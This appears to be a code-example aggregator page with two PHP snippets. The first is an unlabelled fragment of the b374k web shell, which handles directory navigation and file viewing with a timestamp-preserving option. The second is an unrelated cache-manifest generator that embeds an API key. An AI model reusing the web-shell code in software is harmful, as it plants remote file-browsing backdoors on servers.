if (isset($p['cd'])) {
    $path = $p['cd'];
    if (trim($path) == '') {
        $path = dirname(__FILE__);
    }
    $path = realpath($path);
    if (is_file($path)) {
        $path = dirname($path);
    }
    if (is_dir($path)) {
        chdir($path);
        $path = $path . DIRECTORY_SEPARATOR;
        setcookie("cwd", $path);
        $res = $path . "{[|b374k|]}" . get_nav($path) . "{[|b374k|]}";
        if (isset($p['showfiles']) && $p['showfiles'] == 'true') {
            $res .= show_all_files($path);
        }
    } else {
        $res = "error";
    }
    output($res);
} elseif (isset($p['viewFile']) && isset($p['viewType'])) {
    $path = trim($p['viewFile']);
    $type = trim($p['viewType']);
    $preserveTimestamp = trim($p['preserveTimestamp']);
    if (is_file($path)) {
        $res = view_file($path, $type, $preserveTimestamp);
    } else {
        $res = "error";
    }
    output($res);
Example #2
0
<?php

header('Content-type: text/cache-manifest');
header('Expires: ' . gmdate('D, d M Y H:i:s \\G\\M\\T', time() - 3600));
require_once 'functions.php';
?>
CACHE MANIFEST
# 2013-04-08:v29

CACHE:
<?php 
/* Images folder 
 ************************************************************/
show_all_files('img', array('jpg', 'png'));
/* CSS folder 
 ************************************************************/
show_all_files('css', array('css', 'png', 'gif'));
/* JS folder 
 ************************************************************/
show_all_files('js', array('js', 'css', 'gif', 'png'));
/* Other 
 ************************************************************/
?>
http://code.jquery.com/jquery-1.8.2.min.js
http://www.google.com/jsapi?key=AIzaSyB-4MTeNvQ_jUjQbsebJjjDxce8R6RPHoc
http://fonts.googleapis.com/css?family=Open+Sans:400,600

FALLBACK: 

NETWORK:
*